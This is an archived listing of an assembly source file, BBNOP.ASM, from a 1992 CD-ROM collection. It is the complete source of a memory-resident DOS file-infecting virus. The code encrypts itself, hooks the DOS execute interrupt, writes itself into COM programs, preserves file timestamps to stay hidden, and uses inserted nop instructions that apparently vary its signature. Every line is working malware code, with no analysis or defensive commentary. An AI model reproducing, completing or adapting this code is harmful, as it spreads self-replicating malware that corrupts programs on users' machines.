home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BBNOP.ASM < prev    next >
Assembly Source File  |  1992-02-19  |  13KB  |  540 lines

  1.  
  2. code          segment
  3.           assume cs:code,ds:code
  4.           .radix 16
  5.           org  100
  6. start:
  7.           push word ptr cs:[table+2]
  8.           push cs
  9.     nop
  10.           pop  ds
  11.           jmp  word ptr cs:[table]      ;go to module 1
  12.  
  13. curofs          dw   ?
  14. files          db   0               ;number of infected files from this copy
  15. fsize          dw   2               ;size of infected file
  16. ftime          dw     ?
  17. fdate          dw     ?
  18. stdint21      dd     ?
  19. oldint13      dd     ?
  20. oldint21      dd     ?
  21. oldint24      dd     ?
  22.  
  23. ;------------- TABLE WITH MODULE PARAMETERS --------------------
  24. table:
  25.           dw   offset false_mod_1 ;00
  26.           dw   offset mod_2       ;02
  27.           dw   offset mod_3       ;04
  28.           dw   offset mod_4       ;06           ;offset modules
  29.           dw   offset mod_5       ;08
  30.           dw   offset mod_6       ;0a
  31.           dw   offset mod_7       ;0c
  32.           dw   offset mod_8       ;0e
  33.  
  34.           dw   offset mod_2 - offset mod_1;10
  35.           dw   offset mod_3 - offset mod_2;12
  36.           dw   offset mod_4 - offset mod_3;14
  37.           dw   offset mod_5 - offset mod_4;16
  38.           dw   offset mod_6 - offset mod_5;18    ;size modules
  39.           dw   offset mod_7 - offset mod_6;1a
  40.           dw   offset mod_8 - offset mod_7;1c
  41.           dw   offset myend - offset mod_8;1e
  42.  
  43.  
  44. ;------------- MODULE - 1 - CODER/DECODER ----------------------
  45. mod_1:
  46.           mov  bx,offset table+2   ;first module to working (module 2)
  47.           mov  cx,6            ;number of modules to working
  48. mod_1_lp1:
  49.     nop;
  50.           cmp  bx,offset table+0a
  51.           jne  mod_1_cont
  52.           add  bx,2
  53. mod_1_cont:
  54.           push bx
  55.           push cx
  56.     nop
  57.           mov  ax,[bx]           ;ax - offset module
  58.           mov  cx,[bx+10]           ;cx - size of module
  59.           mov  bx,ax
  60. mod_1_lp2:
  61.     nop;  
  62.         xor  byte ptr [bx],al
  63.           inc  bx
  64.           loop mod_1_lp2
  65.           pop  cx
  66.           pop  bx
  67.     nop;
  68.           add  bx,2
  69.           loop mod_1_lp1
  70.           ret
  71.  
  72. ;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
  73. mod_2:
  74.              ;instalation check
  75.  
  76.           mov    es,cs:[2]                   ;memory size
  77.           mov    di,100
  78.           mov    si,100
  79.     nop
  80.           mov    cx,0bh
  81.           repe   cmpsb
  82.           jne    mod_2_install               ;jump if not install
  83.           jmp    word ptr cs:[table+06]  ;if install, jump to module 4
  84.  
  85.     nop
  86. mod_2_install:
  87.              ;instalation
  88.  
  89.           mov    ax,cs
  90.           dec    ax
  91.           mov    ds,ax
  92.  
  93.           cmp    byte ptr ds:[0],'Z'
  94.           je     mod_2_cont
  95.  
  96.     nop
  97.           jmp    word ptr cs:[table+6]        ;if no last MCB - go to mod4
  98.  
  99. mod_2_cont:
  100.           sub    word ptr ds:[3],0c0
  101.           mov    ax,es
  102.           sub    ax,0c0
  103.           mov    es,ax
  104.           mov    word ptr ds:[12],ax       ;decrement memory size with 2K
  105.           push   cs
  106.           pop    ds
  107.  
  108. mod_2_mut:
  109.           mov  byte ptr cs:files,0
  110.  
  111.           mov  di,100
  112.           mov  cx,offset mod_1-100
  113.           mov  si,100
  114.           rep  movsb     ;write table to new memory
  115.  
  116.           mov  bx,word ptr cs:[table]
  117.           add  bx,offset mod_1_lp2-offset mod_1+1
  118.           xor  byte ptr [bx],18               ;change code method
  119.  
  120.           mov  cx,8
  121.           mov  word ptr curofs,offset mod_1
  122. mod_2_lp1:
  123.           push cx
  124.           call mod_2_rnd ;generate random module addres
  125.           push bx         ;addres in table returned from mod_2_rnd
  126.           mov  ax,[bx]   ;offset module
  127.           push ax
  128.           add  bx,10
  129.           mov  cx,[bx]   ;length of module
  130.           pop  si
  131.           pop  bx
  132.           xchg di,curofs
  133.           mov  word ptr es:[bx],di ;change module offset in table
  134.           rep  movsb           ;copy module to new memory
  135.           xchg di,curofs           ;change current offset in new memory
  136.           mov  ax,8000
  137.           or   word ptr [bx],ax    ;mark module - used
  138.           pop  cx
  139.           loop mod_2_lp1
  140.           mov  cl,8
  141.           not  ax
  142.           mov  bx,offset table
  143. mod_2_lp2:
  144.           and  word ptr [bx],ax    ;unmark all modules
  145.           add  bx,2
  146.           loop mod_2_lp2
  147.  
  148.           jmp  word ptr cs:[table+4]  ;go to module 3
  149.  
  150. mod_2_rnd:
  151.           push cx
  152.           push es
  153.           xor  cx,cx
  154.           mov  es,cx
  155. mod_2_lp3:
  156.           mov  bx,es:[46c]
  157.           db 81,0e3,07,00  ;and bx,7
  158.           shl  bx,1
  159.           add  bx,offset table
  160.           test [bx],8000
  161.           jnz  mod_2_lp3
  162.           pop  es
  163.           pop  cx
  164.           ret
  165.  
  166. ;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
  167. mod_3:
  168.           xor    ax,ax
  169.           mov    ds,ax
  170.  
  171.           mov    ax,ds:[4*21]
  172.           mov    word ptr es:[oldint21],ax
  173.           mov    ax,ds:[4*21+2]
  174.           mov    word ptr es:[oldint21+2],ax
  175.  
  176.           mov    ah,30
  177.           int    21
  178.           cmp    ax,1e03
  179.           jne    mod_3_getvec
  180.  
  181.           mov    word ptr es:[stdint21],1460
  182.           mov    ax,1203
  183.           push   ds
  184.           int    2f
  185.           mov    word ptr es:[stdint21+2],ds
  186.           pop    ds
  187.           jmp    mod_3_setvec
  188.  
  189. mod_3_getvec:
  190.           mov    ax,ds:[4*21]
  191.           mov    word ptr es:[stdint21],ax
  192.           mov    ax,ds:[4*21+2]
  193.           mov    word ptr es:[stdint21+2],ax
  194.  
  195. mod_3_setvec:
  196.           cli
  197.           mov    ax,word ptr es:[table+0c]
  198.           mov    ds:[4*21],ax
  199.           mov    ax,es
  200.           mov    ds:[4*21+2],ax
  201.           sti
  202.  
  203.           mov    cx,es
  204.           mov    ah,13             ;
  205.           int    2f              ;
  206.           push   es              ;
  207.           mov    es,cx             ;
  208.           mov    word ptr es:[oldint13],dx     ; get standart int13 addres
  209.           mov    word ptr es:[oldint13+2],ds ;
  210.           pop    es              ;
  211.           int    2f              ;
  212.  
  213.           jmp    word ptr cs:[table+06]              ;go to module 4
  214.  
  215. ;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
  216. mod_4:
  217.           push   cs
  218.           push   cs
  219.           pop    ds
  220.           pop    es
  221.           mov    si,word ptr cs:[table+06]
  222.           add    si,offset mod_4_cont - offset mod_4
  223.           mov    di,cs:fsize
  224.           add    di,offset myend+1
  225.           push   di
  226.           mov    cx,offset mod_5 - offset mod_4_cont
  227.           cld
  228.           rep    movsb
  229.           ret
  230. mod_4_cont:
  231.           mov    si,cs:fsize
  232.           add    si,100
  233.  
  234.           cmp    si,offset myend+1
  235.           jnc    mod_4_cnt
  236.           mov    si,offset myend+1
  237. mod_4_cnt:
  238.           mov    di,100
  239.           mov    cx,offset myend-100
  240.           rep    movsb
  241.           mov    ax,100   ;
  242.           push   ax       ; jmp 100
  243.           ret          ;
  244.  
  245. ;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
  246. mod_5:
  247.           xor    di,di
  248.           mov    ds,di
  249.           cli
  250.           mov    di,word ptr cs:[oldint21]
  251.           mov    ds:[4*21],di
  252.           mov    di,word ptr cs:[oldint21+2]
  253.           mov    ds:[4*21+2],di
  254.           sti
  255.  
  256.           ret
  257.  
  258.           db     'Pile of shit   '
  259. ;------------- MODULE - 6 - INT 24 HEADER -----------------------
  260. mod_6:
  261.           mov    al,3
  262.           iret
  263.           db     'The Worthless Piece of shit virus that is a joke.  ',0
  264.  
  265. ;------------- MODULE - 7 - INT 21 HEADER -----------------------
  266. mod_7:
  267.           push   bx
  268.           push   si
  269.           push   di
  270.           push   es
  271.           push   ax
  272.  
  273.           cmp    ax,4b00
  274.           je     mod_7_begin
  275.           jmp    mod_7_exit
  276. mod_7_begin:
  277.           push   ds
  278.           push   cs                    ;
  279.           pop    es                    ;
  280.           xor    ax,ax                   ;
  281.           mov    ds,ax                   ;
  282.           mov    si,4*24                   ;
  283.           mov    di,offset oldint24            ;
  284.           movsw                       ;   change int24 vector
  285.           movsw                       ;
  286.           mov    ax,word ptr cs:[table+0a]           ;
  287.           cli                       ;
  288.           mov    ds:[4*24],ax               ;
  289.           mov    ax,cs                   ;
  290.           mov    ds:[4*24+2],ax               ;
  291.           sti
  292.           pop    ds
  293.  
  294.           mov    ax,3d00                   ;
  295.           pushf                       ;
  296.           call   cs:oldint21               ;
  297.           jc     mod_7_ex                   ; open,infect,close file
  298.           mov    bx,ax                   ;
  299. mod_7_infect:                           ;
  300.           call   word ptr cs:[table+0e]           ;
  301.           pushf
  302.           mov    ah,3e                   ;
  303.           pushf                       ;
  304.           call   cs:oldint21               ;
  305.           popf
  306.           jc     mod_7_ex
  307.  
  308.           push   ds              ;
  309.           cli                 ;
  310.           xor    ax,ax             ;
  311.           mov    ds,ax             ;
  312.           mov    ax,word ptr cs:[oldint13]     ;
  313.           xchg   ax,word ptr ds:[4*13]     ;
  314.           mov    word ptr cs:[oldint13],ax     ; exchange int13 vectors
  315.           mov    ax,word ptr cs:[oldint13+2] ;
  316.           xchg   ax,word ptr ds:[4*13+2]     ;
  317.           mov    word ptr cs:[oldint13+2],ax ;
  318.           sti                 ;
  319.           pop    ds              ;
  320. mod_7_ex:
  321.           push   ds                    ;
  322.           xor    ax,ax                   ;
  323.           mov    ds,ax                   ;
  324.           mov    ax,word ptr cs:oldint24           ;
  325.           mov    ds:[4*24],ax               ;
  326.           mov    ax,word ptr cs:oldint24+2           ; restore int24 vector
  327.           mov    ds:[4*24+2],ax               ;
  328.           pop    ds                    ;
  329.  
  330. mod_7_exit:
  331.           pop    ax
  332.           pop    es
  333.           pop    di
  334.           pop    si
  335.           pop    bx
  336.  
  337.           jmp    cs:oldint21
  338.  
  339. ;------------- MODULE - 8 - INFECTING (bx - file handle) --------
  340. mod_8:
  341.           push   cx
  342.           push   dx
  343.           push   ds
  344.           push   es
  345.           push   di
  346.           push   bp
  347.  
  348.           push   bx
  349.           mov    ax,1221
  350.     dec ax
  351.           int    2f
  352.           mov    bl,es:[di]
  353.           xor    bh,bh
  354.           mov    ax,1216
  355.           int    2f
  356.           pop    bx
  357.  
  358.           mov    ax,word ptr es:[di+11]
  359.           cmp    ax,0f000
  360.           jc     mod_8_c
  361.           jmp    mod_8_exit
  362.  
  363. mod_8_c:
  364.           mov    word ptr es:[di+2],2           ;open mode - R/W
  365.  
  366.     nop
  367.           mov    ax,es:[di+11]
  368.           mov    cs:fsize,ax           ; save file size
  369.  
  370.           mov    ax,word ptr es:[di+0dh]   ;
  371.  
  372.           mov    word ptr cs:[ftime],ax    ; save file date/time
  373.           mov    ax,word ptr es:[di+0f]    ;
  374.     nop
  375.           mov    word ptr cs:[fdate],ax    ;
  376.  
  377.           push   cs              ;
  378.           pop    ds              ;
  379.           mov    dx,offset myend+1         ;
  380.           mov    cx,offset myend-100     ; read first bytes
  381.           mov    ah,3f             ;
  382.           pushf
  383.     nop
  384.               call   cs:oldint21
  385.           jnc    mod_8_cnt
  386.           jmp    mod_8_exit
  387.  
  388. mod_8_cnt:
  389.           mov    bp,ax             ; ax - bytes read
  390.           mov    si,dx
  391.           mov    ax,'MZ'
  392.     nop   
  393.        cmp    ax,word ptr ds:[si]
  394.           jne    mod_8_nxtchk
  395.           jmp    mod_8_exit
  396. mod_8_nxtchk:
  397.           xchg   ah,al
  398.     nop
  399.           cmp    ax,ds:[si]
  400.           jne    mod_8_cnt2
  401.           jmp    mod_8_exit
  402.  
  403. mod_8_cnt2:
  404.           push   es
  405.           push   di
  406.           push   cs              ;
  407.     nop   
  408.        pop    es              ;
  409.           mov    si,100             ;
  410.           mov    di,dx             ; check for infected file
  411.     nop
  412.           mov    cx,0bh             ;
  413.           repe   cmpsb             ;
  414.  
  415.     nop    
  416.           pop    di
  417.           pop    es
  418.           jne    mod_8_cnt1          ;
  419.           jmp    mod_8_exit
  420. mod_8_cnt1:
  421.           mov    word ptr es:[di+15],0     ; fp:=0
  422.  
  423.           push   es
  424.           push   di
  425.           mov    si,word ptr cs:[table+0e]
  426.           add    si,offset mod_8_cont - offset mod_8
  427.           xor    di,di
  428.           push   cs
  429.     nop
  430.           pop    es
  431.           mov    cx,offset mod_8_cont_end - offset mod_8_cont
  432.           cld
  433.           rep    movsb
  434.           pop    di
  435.           pop    es
  436.  
  437.     nop
  438.           mov    si,word ptr cs:[table+0e]
  439.           add    si,offset mod_8_cont_end - offset mod_8
  440.           push   si
  441.           xor    si,si
  442.           push   si
  443.  
  444.           push   ds              ;
  445.           cli                 ;
  446.     nop
  447.           xor    ax,ax             ;
  448.           mov    ds,ax             ;
  449.           mov    ax,word ptr cs:[oldint13]     ;
  450.           xchg   ax,word ptr ds:[4*13]     ;
  451.           mov    word ptr cs:[oldint13],ax     ;
  452.     nop
  453.           mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
  454.           xchg   ax,word ptr ds:[4*13+2]     ;
  455.     nop  
  456.         mov    word ptr cs:[oldint13+2],ax ;
  457.           sti                 ;
  458.           pop    ds              ;
  459.  
  460.           ret
  461.  
  462. mod_8_cont:
  463.           push   bx
  464.     nop
  465.           call   word ptr cs:[table]     ; code virus
  466.           pop    bx
  467.  
  468.           mov    dx,100             ;
  469.           mov    ah,40             ; write code in begin
  470.           mov    cx,offset myend-0ff
  471.           pushf                 ;
  472.           call   cs:stdint21         ;
  473.  
  474.           pushf
  475.           push   bx
  476.     nop
  477.           call   word ptr cs:[table]     ; decode virus
  478.           pop    bx
  479.           popf
  480.           jnc    mod_8_cont1
  481.           pop    ax
  482.     nop
  483.           mov    ax,word ptr cs:[table+0e]
  484.           add    ax,offset mod_8_ext - offset mod_8
  485.           push   ax
  486.           ret
  487. mod_8_cont1:
  488.           mov    ax,es:[di+11]         ; fp:=end of file
  489.           mov    word ptr es:[di+15],ax     ;
  490.  
  491.           mov    dx,offset myend+1
  492.     nop
  493.           mov    cx,bp             ; bp - files read
  494.           mov    ah,40             ;
  495.           pushf                 ;
  496.           call   cs:stdint21         ; write in end of file
  497.  
  498.           ret
  499.  
  500. mod_8_cont_end:
  501.           mov    ax,5701     ;
  502.     nop
  503.           mov    cx,cs:ftime ;
  504.           mov    dx,cs:fdate ; restore file date/time
  505.           pushf         ;
  506.           call   cs:oldint21 ;
  507.  
  508.           inc    cs:files
  509.           cmp    cs:files,0a
  510.     nop
  511.           jne    mod_8_ext
  512.           call   word ptr cs:[table+8]
  513.           jmp    short mod_8_ext
  514. mod_8_exit:
  515.           stc
  516.           jmp    short mod_8_ex
  517. mod_8_ext:
  518.           clc
  519. mod_8_ex:
  520.           pop    bp
  521.           pop    di
  522.           pop    es
  523.           pop    ds
  524.           pop    dx
  525.           pop    cx
  526.           ret
  527.  
  528. ;---------------------------------------------------------------
  529.  
  530. myend          db   0
  531.  
  532.           int    20            ;code of infected file
  533.  
  534. false_mod_1:
  535.           mov     word ptr cs:[table],offset mod_1
  536.           ret
  537.  
  538. code          ends
  539.           end  start
  540.